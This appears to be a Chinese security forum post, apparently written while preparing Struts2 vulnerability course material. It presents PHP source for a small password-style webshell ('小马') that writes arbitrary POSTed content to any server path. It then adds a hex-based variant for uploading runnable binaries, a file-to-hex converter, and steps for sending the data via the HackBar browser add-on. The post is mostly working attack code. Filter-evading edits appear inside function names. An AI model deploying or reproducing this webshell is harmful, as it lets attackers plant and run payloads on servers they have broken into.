晚上回来整理strtus2漏洞课件,收到当年去天融信工作面试我的那个大神发来个问题(没办法,只会php)
0x01,程序代码如下
- <?php
- if ($_POST) {
- $fo = fopen(urld去掉ecode($_POST["filepath"]), "w");
- $content = base64去掉_decode(urldecode($_POST["content"]));
- if (fwrite($fo, $content))
- echo "<font color=red><b>成功写入文件!</b></font>";
- else
- echo "<font color=#33CCFF><b>写入文件失败</b></font>";
- } else {
- echo "<font color=#CCFFFF>冰源独立编译php带密码小马</font>";
- }
- ?>
复制代码
0x02,使用方法,需要自己去构造post参数,如下图
0x03,但是这里有一个问题,就是上传文本文件没什么问题,16进制文件,上传的程序不能运行
0x04,于是改成16进制写入,源码如下:
- <html>
- <head>
- <meta charset="utf-8">
- <title>当前IP <?=$_SERVER['SERVER_NAME']?></title>
- </head>
- <style>
- body{font-family:Georgia;}
- #neirong{width:558px;height:250px;border=#0000 1px solid}
- #lujing{font-family:Georgia;width:389px;border=#0000 1px solid}
- #shc{font-family:Georgia;background:#fff;width:63px;height:20px;border=#0000 1px solid}
- </style>
- <body bgcolor="black">
- <?php
- function hexToFile($hexstr, $file){
- if($hexstr){
- $data = pack('H*', $hexstr);
- return file_put_contents($file, $data, true);
- }
- }
- if ($_POST) {
- $fo = urldecode($_POST["filepath"]);
- $content = urldecode($_POST["content"]);
- if (hexToFile($content, $fo))
- echo "<font color=red><b>成功写入文件!</b></font>";
- else
- echo "<font color=#33CCFF><b>写入文件失败</b></font>";
- } else {
- echo "<font color=#CCFFFF>必火独立编译php带密码小马</font>";
- }
- ?>
复制代码
0x05,文件转16进制工具源码如下:
- <?php
- header("Content-type:text/html;charset=utf8");
- function fileToHex($file){
- if(file_exists($file)){
- $data = file_get_contents($file);
- return bin2hex($data);
- }
- return '';
- }
- function hexToFile($hexstr, $file){
- if($hexstr){
- $data = pack('H*', $hexstr);
- file_put_contents($file, $data, true);
- }
- }
- $file = $_FILES['upfile']['tmp_name'];
- if ($file) {
- // 文件转16进制
- $hexstr = fileToHex($file);
- echo $hexstr.'<br><br>';
- }
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title>必火16进制转换工具-www.xss.tv</title>
- </head>
- <body>
- <CENTER>
- <form action="" method="post" enctype="multipart/form-data" >
- <input type="file" name="upfile"><input type="submit" name="" value="转16进制">
- </form>
- </CENTER>
- </body>
- </html>
复制代码
0x06,文件转16进制工具运行结果如图
0x07,直接复制16进制数据,到火狐hackbar中运行,
0x08,保存后的文件如图,可以直接运行
|